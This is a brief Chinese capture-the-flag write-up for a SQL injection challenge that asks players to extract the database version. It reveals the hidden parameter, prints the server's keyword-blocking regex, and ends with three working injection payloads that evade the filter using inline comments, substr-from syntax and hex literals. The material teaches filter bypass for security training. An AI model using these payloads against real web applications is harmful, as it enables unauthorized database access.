要求:注入出数据库版本
http://123.xxx.xx.220/ctf4/xxxx_web_sql.php
参数是什么自己找,参数等于1-5都有数据。
不断地绕过,不断地突破防御机制,考验的是一个安全研究者对于漏洞原理的理解,更是猥琐的思路。 借用p神一句话。
参数这块很多人没找到,我在题目里面就说了:"听说这部动漫的片头曲很好听!!",配图就是东京食尸鬼主角金木研,所以参数就是歌曲名称,unravel。
从代码说起,用递归函数来过滤掉一些字符
function reg_replace($reg, $strs){ preg_match($reg, $strs, $result); if(count($result) == 1){ $aa = preg_replace($reg,'',$strs); return reg_replace($reg, $aa); }else{ return $strs; } } |
过滤的字符如下:
$reg = "/union|select|\/\*\*\/|order|\)=|subset|gtid|st_|concat|if|or|table|where|in|file|left|right|limit|reg|ord|cate|name|info|into|'[a-z0-9]|\\|group|bin|floor|md5|base|benchmark|@@version|updatexml|value|exp|by|xor|sleep|substring|varsion\(\)|user|data|:|delete|update|insert|\s|\#|\-\-|,|mid|ascii/";
可以看到过滤很多东西,逗号之类的,还有很多关键词。
这里写错了一个单词很尴尬...version写成了varsion,不然绕过还得查查手册。
http://www.0aa.me/index.php/archives/38/ 看过我这篇文章应该就能想到了subtring,但是这里过滤了substring,但是可以用substr,一样的效果。
凯爷的poc: 1'/ 1 /and/ 1 /SUBstr(version()/ 1 /from(1))/ 1 /like/ 1 /'%5.5
%'/ 1 /and/ !, /''='
undefined的poc: ' ||(substr(version()from(21)))!=0x302e31||'
我的poc:%27/ 2 /and/ x /substr(@@GLOBAL.VERSION/ 1 /from/ 1 /6)/ 1 /=0x30/ 1 /||/ x /%27